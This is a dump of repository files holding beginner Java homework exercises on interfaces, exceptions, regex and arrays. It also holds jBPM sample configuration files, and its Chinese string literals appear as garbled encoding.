    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise7/BiologicalTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise7;\n\npublic class BiologicalTest {\n\t\n}\ninterface Biological{\n\tpublic abstract void breathe();\n}\ninterface Animal extends Biological{\n\tpublic abstract void sleep();\n\tpublic abstract void eat();\n}\ninterface People extends Animal{\n\tpublic abstract void thinking();\n\tpublic abstract void study();\n}\n\nclass Person implements People{\n\n\tpublic void sleep() {\n\t\tSystem.out.println(\"����˯��\");\n\t}\n\n\tpublic void eat() {\n\t\tSystem.out.println(\"���ܳԷ�\");\n\t}\n\n\tpublic void breathe() {\n\t\tSystem.out.println(\"���ܺ���\");\n\t}\n\n\tpublic void thinking() {\n\t\tSystem.out.println(\"����˼��\");\n\t}\n\n\tpublic void study() {\n\t\tSystem.out.println(\"����ѧϰ\");\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise7/CanFlyTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise7;\n\npublic class CanFlyTest {\n\tpublic static void main(String[] args) {\n\t\tAircraft a1=new Aircraft();\n\t\tBird b1=new Bird();\n\t\tmakeFly(a1);\n\t\tmakeFly(b1);\n\t}\n\tstatic void makeFly(CanFly clazz) {\n\t\tSystem.out.println(clazz+\" �ܷ�\");\n\t}\n}\ninterface CanFly{\n\tpublic void fly();\n}\nclass Aircraft implements CanFly{\n\tpublic void fly() {\n\t\t\n\t}\n}\nclass Bird implements CanFly{\n\tpublic void fly() {\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise8/BankAccountTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise8;\n\npublic class BankAccountTest {\n\tpublic static void main(String[] args) {\n\t\tBankAccount b1=new BankAccount();\n\t\t/*BankAccount b2=new BankAccount();\n\t\tBankAccount b3=new BankAccount();*/\n\t\tb1.saveMoney(500);\n\t\ttry {\n\t\t\tb1.getMoney(100);\n\t\t} catch (InsufficientFundsException e) {\n\t\t\te.printStackTrace();\n\t\t}\n//\t\tSystem.out.println(b1.getAccountNum());\n\t\t/*System.out.println(b2.getAccountNum());\n\t\tSystem.out.println(b3.getAccountNum());*/\n\t\tSystem.out.println(\"��\"+b1.getBalance());\n\t}\n}\nclass BankAccount{\n\tprivate static int count=0;\n\tprivate int accountNum;\n\tprivate int balance;\n\tpublic BankAccount() {\n\t\tcount++;\n\t\taccountNum=count;\n\t\tbalance=0;\n\t}\n\tpublic int getAccountNum() {\n\t\treturn this.accountNum;\n\t}\n\tpublic void setAccountNum(int accountNum) {\n\t\tthis.accountNum = accountNum;\n\t}\n\tpublic void saveMoney(int money) {\n\t\t this.balance+=money;\n\t}\n\tpublic void getMoney(int money) throws InsufficientFundsException{\n\t\tif(this.balance<money) {\n\t\t\tthrow new InsufficientFundsException(\"����\");\n\t\t}\n\t\telse {\n\t\t\tthis.balance-=money;\n\t\t}\n\t}\n\tpublic int getBalance() {\n\t\treturn this.balance;\n\t}\n}\nclass InsufficientFundsException extends Exception{\n\tpublic InsufficientFundsException(String exceptionMes) {\n\t\tsuper(exceptionMes);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise8/ExceptionTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise8;\n\npublic class ExceptionTest {\n\tpublic static void main(String[] args) throws MyException {\n\t\tthrewException();\n\t}\n\tstatic void threwException() throws MyException{\n\t\tint num=(int)(Math.random()*100);\n\t\tif(num>50) {\n\t\t\tSystem.out.println(num);\n\t\t\tthrow new MyException(\"��ֵ����50\");\n\t\t}\n\t\telse {\n\t\t\tSystem.out.println(num);\n\t\t\tSystem.out.println(\"����С��50�����׳��쳣\");\n\t\t}\n\t}\n}\nclass MyException extends Exception{\n\tpublic MyException(String ExceptionMes){\n\t\tsuper(ExceptionMes);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise8/RiverTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise8;\n\npublic class RiverTest {\n\tpublic static void main(String[] args) {\n\t\tChangjiang c1=new Changjiang();\n\t\tc1.setWarning(100);\n\t\tc1.setWaterline(110);\n\t\t/*try {\n\t\t\tc1.flow();\n\t\t} catch (ChangjiangException e) {\n\t\t\te.printStackTrace();\n\t\t}*/\n\t\tHuanghe h1=new Huanghe();\n\t\th1.setWarning(100);\n\t\th1.setWaterline(110);\n\t\t/*try {\n\t\t\th1.flow();\n\t\t} catch (HuangheException e) {\n\t\t\te.printStackTrace();\n\t\t}*/\n\t\t\n\t\tAdmin a1=new Admin();\n\t\ta1.watch(h1);\n\t\ta1.watch(c1);\n\t}\n}\nabstract class River {\n\tstatic int warning;\n\tstatic int waterline;\n\t\n\tpublic static int getWarning() {\n\t\treturn warning;\n\t}\n\tpublic static void setWarning(int warning) {\n\t\tRiver.warning = warning;\n\t}\n\tpublic static int getWaterline() {\n\t\treturn waterline;\n\t}\n\tpublic static void setWaterline(int waterline) {\n\t\tRiver.waterline = waterline;\n\t}\n\tpublic abstract void flow() throws HuangheException,ChangjiangException;\n}\nclass Changjiang extends River{\n\tpublic void flow() throws ChangjiangException{\n\t\tif(getWaterline()>getWarning()+9){\n\t\t\tthrow new ChangjiangException(\"����������\");\n\t\t}\n\t\telse {\n\t\t\tSystem.out.println(\"�����������·�ԶӰ�̿վ���Ω�����������\");\n\t\t}\n\t}\n}\nclass Huanghe extends River{\n\tpublic void flow() throws HuangheException{\n\t\tif(getWaterline()>getWarning()+5){\n\t\t\tthrow new HuangheException(\"�ƺӾ�����\");\n\t\t}\n\t\telse {\n\t\t\tSystem.out.println(\"�ƺ��������ƺ�֮ˮ������\");\n\t\t}\n\t}\n}\nclass Admin{\n\tvoid watch(River river) {\n\t\ttry {\n\t\t\triver.flow();\n\t\t\tSystem.out.println(\"ˮλ����\");\n\t\t}catch(ChangjiangException e) {\n\t\t\te.printStackTrace();\n\t\t\tSystem.out.println(\"����������\");\n\t\t\tdrain();\n\t\t}catch(HuangheException e) {\n\t\t\te.printStackTrace();\n\t\t\tSystem.out.println(\"�ƺӾ�����\");\n\t\t\tdrain();\n\t\t}\n\t}\n\tvoid drain() {\n\t\tSystem.out.println(\"���ˮ\");\n\t}\n}\nclass HuangheException extends Exception{\n\tHuangheException(String mes){\n\t\tsuper(mes);\n\t}\n}\nclass ChangjiangException extends Exception{\n\tChangjiangException(String mes){\n\t\tsuper(mes);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise9/StringTest2.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise9;\n\nimport java.util.Scanner;\n\npublic class StringTest2 {\n\tpublic static void main(String[] args) {\n\t\tScanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"��������ĸ��\");\n\t\tString name=scan.next();\n\t\tcheckString(name);\n\t}\n\tstatic void checkString(String name) {\n\t\tSystem.out.println(\"���������ĸ���ǣ�\"+name);\n\t\tString rege=\"[a-zA-Z]+\";\n\t\tString reget=\"\\\\p{Upper}+[a-zA-Z]*\";\n\t\tif(!name.matches(rege)) {\n\t\t\tSystem.out.println(\"����������������ĸ����\");\n\t\t}\n\t\telse if(!name.matches(reget)){\n\t\t\tSystem.out.println(\"��һ����ĸ���Ǵ�д��ĸ\");\n\t\t}\n\t\telse if(name.matches(rege)&&name.matches(reget)) {\n\t\t\tchar[] arr=name.toCharArray();\n\t\t\tint count=0;\n\t\t\tfor(int i=0;i<arr.length;i++) {\n\t\t\t\tString temp=String.valueOf(arr[i]);\n\t\t\t\tif(temp.matches(reget)) {\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println(\"�ַ�����һ����\"+count+\"����д��ĸ\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise9/StringTest3.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise9;\n\nimport java.util.Scanner;\n\npublic class StringTest3 {\n\tpublic static void main(String[] args) {\n\t\tScanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"����������\");\n\t\tString password=scan.next();\n\t\tScanner scana=new Scanner(System.in);\n\t\tSystem.out.println(\"��ȷ������\");\n\t\tString passworda=scana.next();\n\t\t\n\t\tcompareString(password,passworda);\n\t}\n\tstatic void compareString(String str1,String str2) {\n\t\tif(str1.length()!=str2.length()) {\n\t\t\tSystem.out.println(\"���벻һ�£�����������\");\n\t\t}else {\n\t\t\tboolean flag=true;\n\t\t\tfor(int i=0;i<str1.length();i++) {\n\t\t\t\tchar[] arr1=str1.toCharArray();\n\t\t\t\tchar[] arr2=str2.toCharArray();\n\t\t\t\tif(arr1[i]!=(arr2[i])) {\n\t\t\t\t\tflag=false;\n\t\t\t\t\tSystem.out.println(\"���벻һ�£�����������\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println(\"ע��ɹ�\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise9/StringTest4.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise9;\n\nimport java.util.Scanner;\n\npublic class StringTest4 {\n\tpublic static void main(String[] args) {\n\t\tint num=(int)(Math.random()*99+1);\n\t\tSystem.out.println(num);\n\t\twhile(true) {\n\t\t\tScanner scan=new Scanner(System.in);\n\t\t\tSystem.out.println(\"����������\");\n\t\t\tint number=scan.nextInt();\n\t\t\tif(number>num) {\n\t\t\t\tSystem.out.println(\"�´��ˣ����²�\");\n\t\t\t}else if(number<num) {\n\t\t\t\tSystem.out.println(\"��С�ˣ����²�\");\n\t\t\t}else {\n\t\t\t\tSystem.out.println(\"�¶���\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise9/StringTest5.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise9;\n\nimport java.util.Scanner;\n\npublic class StringTest5 {\n\tpublic static void main(String[] args) {\n\t\tint[] arr=new int[7];\n\t\tboolean flag=false;\n\t\tdo {\n\t\t\tfor(int i=0;i<7;i++) {\n\t\t\t\tint num=(int)(Math.random()*30+1);\n\t\t\t\tarr[i]=num;\n\t\t\t}\n\t\t\tflag=isRepeat(arr);\n\t\t\tif(flag==false) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}while(flag);//������Ʊ�󽱺���\n\t\t\n\t\t\n\t\tScanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"�������߸����֣��ö��Ÿ���\");\n\t\tString number=scan.next();\n\t\t\n\t\tString rege=\"(\\\\d+,){7}\";//ƥ���������\n\t\tnumber=number+\",\";\n\t\tif(!number.matches(rege)) {\n\t\t\tSystem.out.println(\"�����������\");\n\t\t\treturn;\n\t\t}\n\t\tString[] arr2=number.split(\",\");\n\t\tint[] arr3=new int[arr2.length];\n\t\tfor(int i=0;i<arr2.length;i++) {\n\t\t\tarr3[i]=Integer.parseInt(arr2[i]);\n\t\t}\n\t\tint count=repeatCount(arr,arr3);\n\t\tif(count==0) {\n\t\t\tSystem.out.println(\"��̫��ù��\");\n\t\t}\n\t\telse {\n\t\t\tif(count==7) {\n\t\t\t\tSystem.out.println(\"һ�Ƚ�\");\n\t\t\t}else if(count==6) {\n\t\t\t\tSystem.out.println(\"���Ƚ�\");\n\t\t\t}else if(count==5) {\n\t\t\t\tSystem.out.println(\"���Ƚ�\");\n\t\t\t}else {\n\t\t\t\tSystem.out.println(\"���˽�\");\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(\"�󽱺�����\");\n\t\tfor(int i=0;i<arr.length;i++) {\n\t\t\tSystem.out.print(arr[i]+\",\");\n\t\t}\n\t}\n\tstatic boolean isRepeat(int[] arr) {\n\t\tboolean flag=false;\n\t\tfor(int k=0;k<arr.length;k++) {\n\t\t\tfor(int j=k+1;j<arr.length;j++) {\n\t\t\t\tif(arr[k]==arr[j]) {\n\t\t\t\t\tflag=true;//���ظ�\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn flag;\n\t}\n\t\n\tstatic int repeatCount(int[] arr,int[] arr2) {\n\t\tint count=0;\n\t\tfor(int k=0;k<arr.length;k++) {\n\t\t\tfor(int j=0;j<arr2.length;j++) {\n\t\t\t\tif(arr[k]==arr2[j]) {\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn count;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise9/StringTest7.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise9;\n\nimport java.util.Scanner;\n\npublic class StringTest7 {\n\tpublic static void main(String[] args) {\n\t\ttoBinaryStringg(-10);//�Զ��巽����������\n\t\t\n\t\t/*Scanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"����������\");\n\t\tint number=scan.nextInt();\n\t\tString str=Integer.toBinaryString(number);\n\t\tSystem.out.println(str);//���÷���\n*/\t}\n\tstatic void toBinaryStringg(int number) {\n\t\tString s=\"\";\n\t\twhile(number!=0||number!=1) {\n\t\t\tif(number%2==0) {\n\t\t\t\ts=s+0;\n\t\t\t}else {\n\t\t\t\ts=s+1;\n\t\t\t}\n\t\t\tnumber/=2;\n\t\t\tif(number==0) {\n\t\t\t\tbreak;\n\t\t\t}else if(number==1) {\n\t\t\t\ts=s+1;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tString ss=\"\";\n\t\tfor(int i=s.length()-1;i>=0;i--) {\n\t\t\tss+=s.substring(i, i+1);\n\t\t}\n\t\tSystem.out.println(ss);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise9/StringTest8.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise9;\n\nimport java.util.Scanner;\n\npublic class StringTest8 {\n\tpublic static void main(String[] args) {\n\t\tScanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"�����������ַ���\");\n\t\tString str=scan.next();\n\t\tparseIntt(str);\n\t}\n\tstatic void parseIntt(String str) {\n\t\tint num=0;\n\t\tString rege=\"-?\\\\+?\\\\d+\";\n\t\tif(!str.matches(rege)) {\n\t\t\tSystem.out.println(\"�����������\");\n\t\t\treturn;\n\t\t}\n\t\t/*for(int i=0;i<str.length();i++) {\n\t\t\tswitch(str.substring(i,i+1)) {\n\t\t\tcase \"1\":\n\t\t\t\tnum=num*10+1;\n\t\t\t\tbreak;\n\t\t\tcase \"2\":\n\t\t\t\tnum=num*10+2;\n\t\t\t\tbreak;\n\t\t\tcase \"3\":\n\t\t\t\tnum=num*10+3;\n\t\t\t\tbreak;\n\t\t\tcase \"4\":\n\t\t\t\tnum=num*10+4;\n\t\t\t\tbreak;\n\t\t\tcase \"5\":\n\t\t\t\tnum=num*10+5;\n\t\t\t\tbreak;\n\t\t\tcase \"6\":\n\t\t\t\tnum=num*10+6;\n\t\t\t\tbreak;\n\t\t\tcase \"7\":\n\t\t\t\tnum=num*10+7;\n\t\t\t\tbreak;\n\t\t\tcase \"8\":\n\t\t\t\tnum=num*10+8;\n\t\t\t\tbreak;\n\t\t\tcase \"9\":\n\t\t\t\tnum=num*10+9;\n\t\t\t\tbreak;\n\t\t\tcase \"0\":\n\t\t\t\tnum=num*10+0;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}*///JDK1.7��������֧��switch���ʽ��Ϊ�ַ���\n\t\tif(str.substring(0,1).contains(\"-\")) {\n\t\t\tnum=num*(-1);\n\t\t}\n\t\tSystem.out.println(num);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Exercise9/WorkSystemTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork.Exercise9;\n\nimport java.util.Scanner;\n\npublic class WorkSystemTest {\n\tpublic static void main(String[] args) {\n\t\tScanner scan=new Scanner(System.in);\n\t\tSystem.out.println(\"�������ļ���\");\n\t\tString name=scan.next();\n\t\tcheckName(name);\n\t\tScanner scant=new Scanner(System.in);\n\t\tSystem.out.println(\"����������\");\n\t\tString email=scant.next();\n\t\tcheckemail(email);\n\t}\n\tstatic void checkName(String name) {\n\t\tString rege=\".+\\\\.java\";\n\t\tif(name.matches(rege)) {\n\t\t\tSystem.out.println(\"���ύ���ļ��ǣ�\"+name);\n\t\t}else {\n\t\t\tSystem.out.println(\"�ļ�����׺����,��ȷ�Ϻ��ύ\");\n\t\t}\n\t}\n\tstatic void checkemail(String email) {\n\t\tString rege=\".+@[a-zA-Z]+\\\\.com\";\n\t\tif(email.matches(rege)) {\n\t\t\tSystem.out.println(\"��������ǣ�\"+email);\n\t\t}else {\n\t\t\tSystem.out.println(\"�����ַ����\");\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/GoodsTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork;\n\npublic class GoodsTest {\n\tpublic static void main(String[] args) {\n\t\tGoods g1=new Goods(1,\"����\",23,\"����\");\n\t\tGoods g2=new Goods(2,\"����\",24,\"����\");\n\t\tGoods g3=new Goods(3,\"����\",21,\"����\");\n\t\tGoods g4=new Goods(4,\"����\",29,\"����\");\n\t\tGoods g5=new Goods(5,\"����\",5,\"����\");\n\t\tGoods g6=new Goods(6,\"����\",3,\"����\");\n\t\tGoods g7=new Goods(7,\"����\",67,\"����\");\n\t\tGoods g8=new Goods(8,\"����\",23,\"����\");\n\t\tGoods g9=new Goods(9,\"����\",13,\"����\");\n\t\tGoods g10=new Goods(10,\"����\",88,\"����\");\n\t\tGoods[] arr= {g1,g2,g3,g4,g5,g6,g7,g8,g9,g10};\n\t\tGoods.printArr(Goods.sortGoods(arr));\n\t\t\n\t}\n}\nclass Goods{\n\tprivate int id;\n\tprivate String name;\n\tprivate int price;\n\tprivate String place;\n\tGoods(){\n\t\t\n\t}\n\tGoods(int id,String name,int price,String place){\n\t\tthis.id=id;\n\t\tthis.name=name;\n\t\tthis.price=price;\n\t\tthis.place=place;\n\t}\n\tint getPrice() {\n\t\treturn this.price;\n\t}\n\tint getId() {\n\t\treturn this.id;\n\t}\n\tString getName() {\n\t\treturn this.name;\n\t}\n\tString getPlace() {\n\t\treturn this.place;\n\t}\n\t\n\tpublic static Goods[] sortGoods(Goods[] arr) {\n\t\tfor(int i=0;i<arr.length-1;i++) {\n\t\t\tfor(int j=i+1;j<arr.length;j++) {\n\t\t\t\tif(arr[i].getPrice()>arr[j].getPrice()) {\n\t\t\t\t\tGoods temp=arr[i];\n\t\t\t\t\tarr[i]=arr[j];\n\t\t\t\t\tarr[j]=temp;\n\t\t\t\t}\n\t\t\t}                       \n\t\t}\n\t\treturn arr;\n\t}\n\t\n\t\n\tstatic void printArr(Goods[] array) {\n\t\tSystem.out.print(\"{\");\n\t\tfor(int i=0;i<array.length;i++){\n\t\t\tif(i==array.length-1){\n\t\t\t\tSystem.out.println(array[i].getId()+array[i].getName()+array[i].getPrice()+array[i].getPlace()+\"}\");\n\t\t\t}\n\t\t\telse{\n\t\t\t\tSystem.out.println(array[i].getId()+array[i].getName()+array[i].getPrice()+array[i].getPlace()+\",\");\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/StudentTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork;\n\npublic class StudentTest {\n\tpublic static void main(String[] args) {\n\t\tStudent s1=new Student(\"����\",12);\n\t\ts1.introduce();\n\t}\n}\nclass Student{\n\tprivate String name;\n\tprivate int age;\n\tprivate String sex;\n\tprivate String dept;\n\tStudent(){\n\t\t\n\t}\n\tStudent(String name,int age){\n\t\tthis.name=name;\n\t\tthis.age=age;\n//\t\tthis.sex=\"��\";\n//\t\tthis.dept=\"Computer Science\";//��ʼ����ʽ1\n\t}\n\tStudent(String name,int age,String sex,String dept){\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t\tthis.sex=sex;\n\t\tthis.dept=dept;\n\t}\n\t\n\tvoid setName(String name) {\n\t\tthis.name=name;\n\t}\n\tString getName() {\n\t\treturn this.name;\n\t}\n\tvoid setAge(int age) {\n\t\tthis.age=age;\n\t}\n\tint getAge() {\n\t\treturn this.age;\n\t}\n\tvoid setSex(String sex) {\n\t\tthis.sex=sex;\n\t}\n\tString getSex() {\n\t\treturn this.sex;\n\t}\n\tvoid setDept(String dept) {\n\t\tthis.dept=dept;\n\t}\n\tString getDept() {\n\t\treturn this.dept;\n\t}\n\t\n\tpublic void introduce() {\n\t\tif(this.sex==null||this.dept==null) {\n\t\t\tsetSex(\"��\");\n\t\t\tsetDept(\"Computer Science\");\n\t\t}//��ʼ����ʽ2\n\t\tSystem.out.println(\"�ҽ�\"+name+\" \"+age+\"�� \"+sex+\" \"+dept);\n\t}\n\t\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/TeacherTest.java",
    "content": "package com.jun.plugin.javase.winterHomeWork;\n\npublic class TeacherTest {\n\tpublic static void main(String[] args) {\n\t\tTeacher t1=new Teacher(\"����ʦ\",28);\n//\t\tt1.setAge(21);\n\t\tt1.introduce();\n\t}\n}\nclass Teacher{\n\tprivate String name;\n\tprivate int age;\n\t\n\tTeacher(){\n\t\t\n\t}\n\tTeacher(String name,int age){\n\t\tthis.name=name;\n\t\tthis.age=age;\n\t}\n\tvoid setName(String name) {\n\t\tthis.name=name;\n\t}\n\tString getName() {\n\t\treturn this.name;\n\t}\n\tvoid setAge(int age) {\n\t\tthis.age=age;\n\t}\n\tint getAge() {\n\t\treturn this.age;\n\t}\n\tpublic void introduce() {\n\t\tif(!isLegal(this.age)) {\n\t\t\tSystem.out.println(\"�������벻�Ϸ�\");\n\t\t\treturn;\n\t\t};\n\t\tSystem.out.println(\"��ʦ�������ǣ�\"+name+\",�����ǣ�\"+age);\n\t}\n\tpublic boolean isLegal(int age) {\n\t\tif(age>=25) {\n\t\t\treturn true;\n\t\t}\n\t\telse {\n\t\t\treturn false;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_javase/src/main/java/com/jun/plugin/javase/winterHomeWork/Test.java",
    "content": "package com.jun.plugin.javase.winterHomeWork;\n\npublic class Test {\n\tpublic static void main(String[] args) {\n\t\tint[] arr={1,2,3,4,5,6,7,8,9};\n\t\tint number=(int)(Math.random()*8+1);\n\t\tboolean flag=false;\n\t\tfor(int i=0;i<arr.length;i++){\n\t\t\tif(number==arr[i]){\n\t\t\t\tflag=true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\tSystem.out.println(number);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_jbpm</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\t<build>\n\t\t<finalName>jun_jbpm</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/java/jbpm.cfg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<jbpm-configuration>\n\n  <import resource=\"jbpm.default.cfg.xml\" />\n  <import resource=\"jbpm.businesscalendar.cfg.xml\" />\n  <import resource=\"jbpm.tx.hibernate.cfg.xml\" />\n  <import resource=\"jbpm.jpdl.cfg.xml\" />\n  <import resource=\"jbpm.bpmn.cfg.xml\" />\n  <import resource=\"jbpm.identity.cfg.xml\" />\n\n  <!-- Job executor is excluded for running the example test cases. -->\n  <!-- To enable timers and messages in production use, this should be included. -->\n  <!--\n  <import resource=\"jbpm.jobexecutor.cfg.xml\" />\n  -->\n\n</jbpm-configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/java/jbpm.hibernate.cfg.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<!DOCTYPE hibernate-configuration PUBLIC\n          \"-//Hibernate/Hibernate Configuration DTD 3.0//EN\"\n          \"http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd\">\n\n<hibernate-configuration>\n  <session-factory>\n  \n     <property name=\"hibernate.dialect\">org.hibernate.dialect.MySQL5InnoDBDialect</property>\n\t <property name=\"hibernate.connection.driver_class\">com.mysql.jdbc.Driver</property>\n     <property name=\"hibernate.connection.url\">jdbc:mysql:///jbpm4?useUnicode=true&amp;characterEncoding=utf8</property>\n     <property name=\"hibernate.connection.username\">root</property>\n     <property name=\"hibernate.connection.password\">mysqladmin</property>\n     <property name=\"hibernate.hbm2ddl.auto\">create-drop</property>\n     <property name=\"hibernate.format_sql\">true</property>\n     \n     <mapping resource=\"jbpm.repository.hbm.xml\" />\n     <mapping resource=\"jbpm.execution.hbm.xml\" />\n     <mapping resource=\"jbpm.history.hbm.xml\" />\n     <mapping resource=\"jbpm.task.hbm.xml\" />\n     <mapping resource=\"jbpm.identity.hbm.xml\" />\n     \n  </session-factory>\n</hibernate-configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/java/jbpm.mail.properties",
    "content": "mail.smtp.host\tlocalhost\nmail.smtp.port\t2525\nmail.from\t\tnoreply@jbpm.org"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/java/jbpm.mail.templates.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<jbpm-configuration>\n\n  <process-engine-context>\n\n    <mail-template name='task-notification'>\n      <to users=\"${task.assignee}\"/>\n      <subject>${task.name}</subject>\n      <text><![CDATA[Hi ${task.assignee},\nTask \"${task.name}\" has been assigned to you.\n${task.description}\n\nSent by jBPM]]></text>\n    </mail-template>\n\n    <mail-template name='task-reminder'>\n      <to users=\"${task.assignee}\"/>\n      <subject>${task.name}</subject>\n      <text><![CDATA[Hey ${task.assignee},\nDo not forget about task \"${task.name}\".\n${task.description}\n\nSent by jBPM]]></text>\n    </mail-template>\n\n    <mail-template name=\"rectify-template\">\n      <to addresses=\"${addressee}\" />\n      <cc users=\"bb\" groups=\"innerparty\" />\n      <bcc groups=\"thinkpol\" />\n      <subject>rectify ${newspaper}</subject>\n      <text>${newspaper} ${date} ${details}</text>\n    </mail-template>\n\n  </process-engine-context>\n\n</jbpm-configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/java/leave.jpdl.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<process name=\"leave\" xmlns=\"http://jbpm.org/4.3/jpdl\">\n   <start g=\"196,25,48,48\" name=\"start1\">\n      <transition to=\"申请\"/>\n   </start>\n   <task assignee=\"#{owner}\" form=\"request.jsp\" g=\"172,118,92,52\" name=\"申请\">\n      <transition to=\"经理审批\"/>\n   </task>\n   <task assignee=\"manager\" form=\"manager.jsp\" g=\"175,217,92,52\" name=\"经理审批\">\n      <transition g=\"-32,-8\" name=\"批准\" to=\"exclusive1\"/>\n      <transition g=\"128,221;124,165:-42,-18\" name=\"驳回\" to=\"申请\"/>\n   </task>\n   <decision expr=\"#{day > 3 ? '老板审批' : '结束'}\" g=\"200,308,48,48\" name=\"exclusive1\">\n      <transition g=\"-39,-10\" name=\"结束\" to=\"end1\"/>\n      <transition g=\"339,342:-71,-17\" name=\"老板审批\" to=\"老板审批\"/>\n   </decision>\n   <task assignee=\"boss\" form=\"boss.jsp\" g=\"294,375,92,52\" name=\"老板审批\">\n      <transition g=\"339,457:\" to=\"end1\"/>\n   </task>\n   <end g=\"199,445,48,48\" name=\"end1\"/>\n</process>"
  },
  {
    "path": "jun_java_plugins/jun_jbpm/src/main/java/logging.properties",
